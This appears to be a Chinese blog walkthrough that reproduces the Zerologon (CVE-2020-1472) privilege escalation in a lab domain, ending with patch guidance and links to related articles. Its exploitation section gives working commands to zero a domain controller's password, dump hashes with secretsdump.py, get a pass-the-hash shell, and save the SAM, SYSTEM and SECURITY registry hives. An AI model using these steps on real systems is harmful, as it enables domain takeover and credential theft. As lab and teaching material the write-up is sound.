NetLogon特权提升漏洞(CVE-2020-1472)复现

漏洞描述

2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。

漏洞成因

Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞顺利被利用。

具体漏洞成因参考

英文原文:https://www.secura.com/pathtoimg.php?id=2055

中文翻译:http://suo.im/5GjJFF

影响范围

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

环境搭建

测试域控环境搭建

服务器环境搭建

版本:在影响范围内的任意windows server版本

本次复现使用服务器版本:Windows server 2008 r2 standard

将本地连接中的ipv6属性取消掉,保留ipv4属性配置

将ip地址设为固定ip地址 192.168.43.1

子网掩码自动填充c类255.255.255.0

默认网关可填可不填 本例:192.168.43.13

设置首选dns服务器ip地址为本机ip地址192.168.43.1

安装域

在开始处搜索dcpromo

单击下一步

在新林中新建域,单击下一步

输入域名test.com,单击下一步

随后默认即可,下一步

设置密码

安装完毕后,重启即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-088pHWmT-1600334383461)(https://uploader.shimo.im/f/qa1segqFcdUHvg3t.png!thumbnail)]

客户端环境搭建

版本:任意windows系统

客户端同样需要配置网络

将客户端ip地址设置为和服务器地址同一网段即可 192.168.43.100

子网掩码自动获取为255.255.255.0

设置首选dns服务器ip地址为服务器ip地址192.168.43.1

设置Ethernet属性

设置域,此处的域和服务器的域相同

填入administrator和刚刚填写的密码

加入域后,重启电脑生效

注意:如果是两台虚拟机,都使用桥接模式,保证三台主机(服务器、客户端、攻击机)都在同一网段,并保证相互之间可以ping通,校园网环境下虚拟机桥接可能会失效连不上网,可以连接手机热点,组建局域网。

攻击机环境条件

Kali Linux

版本不限

python

攻击机上需要python3.7以上

impacket

命令安装:

pip install Impacket -i https://pypi.tuna.tsinghua.edu.cn/simple
#(-i 镜像加速)

github安装:

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install

Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。
impacket需要安装最新版(v0.0.22.dev1),该版本中更新了函数NetrServerPasswordSet2,这个函数会在利用中使用,impacket提供了利用脚本需要使用的库,同时其中包含的secretsdump.py/wmiexec.py脚本分别用于密钥的dump还原操作及开启一个shell,这里主要使用以下两个poc,其中利用置空脚本使用dirkjanm提供的(dirkjanm也提供了相关的置空还原脚本但是我没有成功),而恢复密钥则使用risksense提供的版本。

  • Wmiexec.py

它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。

./wmiexec.py

语法:./wmiexec.py[[domain/] [: password]@] [Target IP Address]
关于Impacket更多内容参考:

http://www.manongjc.com/article/97872.html

https://www.freebuf.com/sectool/175208.html

  • secretsdump.py:

执行各种技术从远程机器转储Secrets,而不在那里执行任何代理。对于SAM和LSA Secrets(包括缓存的凭据),然后将hives保存在目标系统(%SYSTEMROOT%\ Temp目录)中,并从中读取其余数据。对于DIT文件,我们使用dl_drsgetncchanges()方法转储NTLM哈希值、纯文本凭据(如果可用)和Kerberos密钥。它还可以通过使用smbexec/wmiexec方法执行的vssadmin来转储NTDS.dit.如果脚本不可用,脚本将启动其运行所需的服务(例如,远程注册表,即使它已被禁用)。运行完成后,将恢复到原始状态。

漏洞检测

(本次漏洞检测使用服务器windows server 2008 x64 r2 客户端win10 攻击机win10物理机、kali)

工具:https://github.com/SecuraBV/CVE-2020-1472

安装python依赖包

pip install  -r requirements.txt

py -3 zerologon_tester.py 服务器计算机名 服务器ip

注意:计算机名并非用户名admin,而是下图指向的名称

Success说明此服务器处在次漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NoRtbddp-1600334383466)(https://uploader.shimo.im/f/wmB5msbGYE5pSgdj.png!thumbnail)]

漏洞利用

(本次漏洞利用使用服务器windows server 2008 x64 r2 客户端win10 攻击机kali2020)

poc地址

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/risksense/zerologon

https://github.com/blackarrowsec/redteam-research

大体分为这几步

  1. 通过漏洞脚本置空域控保存在AD中的密码
  2. 通过secretsdump.py获取域控上的用户hash
  3. 通过该hash使用wmiexec.py登录域控获取一个shell
  4. 通过shell获取本地保存的原hash key
  5. 通过获取的hash key恢复置空的域控密码

具体步骤:

1.首先第一步通过利用脚本将域控保存在AD的密码置空,注意该置空操作是对域控服务器有一定影响的,目前来看就是利用后重启回很慢,secura提到的dns服务受影响目前没有遇到。

python cve-2020-1472-exploit.py [服务器名] [服务器ip]

攻击成功,此时服务器ad的密码已经被置空,可以进行下一步操作

  1. 用secretsdump.py通过Domain Replication Service (DRS)协议获取域控上相关的hash,其包括administrator hashes。
python secretsdump.py [域]/[服务器名]\$@[服务器ip] -just-dc -no-pass
例如:python secretsdump.py test.com/WIN-QAOGC9V6G1R\$@192.168.43.1 -just-dc -no-pass

3.通过该hash配合wmiexec.py 完成一次pass-the-hash attack,登录该DC获取一个shell。

wmiexec.py -hashes [用户名对应哈希值] [域]/[用户名]@[服务器ip]
例如wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/Administrator@192.168.43.1

成功getshell

4.执行以下命令,以获取本地保存的原置空hash。

reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.saveget system.saveget sam.saveget security.savedel /f system.savedel /f sam.savedel /f security.save

5.通过secretsdump解析保存在本地的nt hash,为其中解析后的$MACHINE.ACC:plain_password_hex部分。

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

最后运行risksense的恢复脚本将$MACHINE.ACC:plain_password_hex中的原来nt hash恢复,可以看到此时再用secretsdump.py尝试获取域控上的用户hash已经是失败了。

注:一定要恢复原来的密码,不然会导致DC脱域!

漏洞修复

微软官方已经发布该漏洞的补丁,建议受影响用户升级到系统的最新版本或手动下载补丁进行更新。微软安全公告及相关补丁下载地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

参考文章

http://suo.im/6ajYN9

http://suo.im/6wcErY

http://suo.im/5GgkCv

NetLogon特权提升漏洞(CVE-2020-1472)复现及问题解决相关推荐

  1. CVE-2020-1472 Netlogon特权提升漏洞分析及复现

    0x01漏洞背景 NetLogon远程协议是一种在Windows 域控上使用的RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新 ...

  2. 微软NetLogon特权提升漏洞复现(CVE-2020-1472)

    2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告.攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限.成功 ...

  3. Netlogon特权提升漏洞

    0x01 漏洞概要 2020年8月11日,Microsoft公司发布安全公告,公布了Netlogon 特权提升漏洞(CVE-2020-1472)的相关信息.12日起,各大安全研究团队纷纷对该漏洞作出漏 ...

  4. CVE-2020-1472: NetLogon特权提升漏洞通告

    1. CVE-2020-1472简要分析 阅读量    102057 | 分享到:       https://www.anquanke.com/post/id/217475 发布时间:2020-09 ...

  5. CVE-2020-1472 | Netlogon 特权提升漏洞预警

    CVE-2020-1472 | Netlogon 特权提升漏洞预警 CVE-2020-1472 | Netlogon 特权提升漏洞预警 https://www.cnblogs.com/micr067/ ...

  6. Netlogon 特权提升漏洞复现(CVE-2020-1472)

    NetLogon 介绍 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用 NTLM 协议登录服务器,也用于 NT ...

  7. Netlogon 特权提升漏洞(CVE-2020-1472)原理分析与验证

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞.它是因为微软在Netlogon协议中没有正确使用加密算法而导致的漏洞.由于 ...

  8. Windows NetLogon权限提升漏洞(CVE-2020-1472)

    漏洞描述 微软官方于8月12日发布安全更新,其中修复了一个修复了NetLogon权限提升漏洞(CVE-2020-1472),攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道 ...

  9. CVE-2020-1472 Netlogon权限提升漏洞分析

    一.漏洞信息 1. 漏洞简述 漏洞名称:Netlogon 权限提升漏洞 漏洞编号:CVE-2020-1472 漏洞类型:权限提升 CVSS评分:10 利用难度:简单 基础用户:不需要 2. 组件概述 ...

最新文章

  1. mysql connector python linux_MySQL Connector/Python 安装、测试
  2. VS.NET2003 开发环境 生成样式表 和 自动书写HTML对象模型
  3. php 引用foot.html,htmltfoot标签怎么用
  4. 使用FizzBu​​zz和Mockito进行单元测试
  5. 户籍恢复需要体检吗_脑梗死后脚麻能恢复吗?需要多久能恢复呢?
  6. mysql 删除表记录的 存储过程命令_用SQL语句删除一个数据库的所有表和所有存储过程...
  7. 超 10000 名开发者在追的技术栏目,你绝不能错过!
  8. 如何在WebGL全景图上做标记
  9. 研发效能提升的八项实践建议
  10. stixel_world+Multi_stioxel_world+semantic_stixel_world知识拓展
  11. 信赖铃音的PS2游戏目录2017.6
  12. cpu压测 windows_怎么用AIDA64进行CPU压力测试?
  13. android mvp知乎,安卓日记——MVP重构知乎日报
  14. Unity资源清理工具
  15. 谷歌浏览器扩展程序XDM_设计师的谷歌Chrome浏览器拓展程序推荐!Design Service Center...
  16. HDU 5238 Calculator【线段树】
  17. 微信高级群发之预览接口
  18. numpy中np.nan(pandas中NAN)
  19. Restful API是什么?初探Restful API,传统接口写法与Restful API接口写法区别
  20. Server Tomcat v7.0 Server at localhost failed to start.错误可能原因之一

热门文章

  1. Java集合详解6:TreeMap和红黑树
  2. python刷视频挣钱_薅羊毛--使用python+adb实现自动刷视频点赞
  3. 旋转木马图片切换展示js特效
  4. 绝了!多个激光雷达和相机的快速且鲁棒的外参标定方法(代码开源)
  5. Go语言recover
  6. html盒子连续点击连续移动,html盒子整体向下移动
  7. 自旋锁(spinlock)
  8. 解决idea上传文件到svn频繁报错 “Error:Node remians in conflict”、“remains in conflict”
  9. 腾讯云服务器域名申请 备案和绑定IP地址详细步骤带清晰图
  10. 梦想照进现实的百度Apollo,越来越近的无人驾驶时代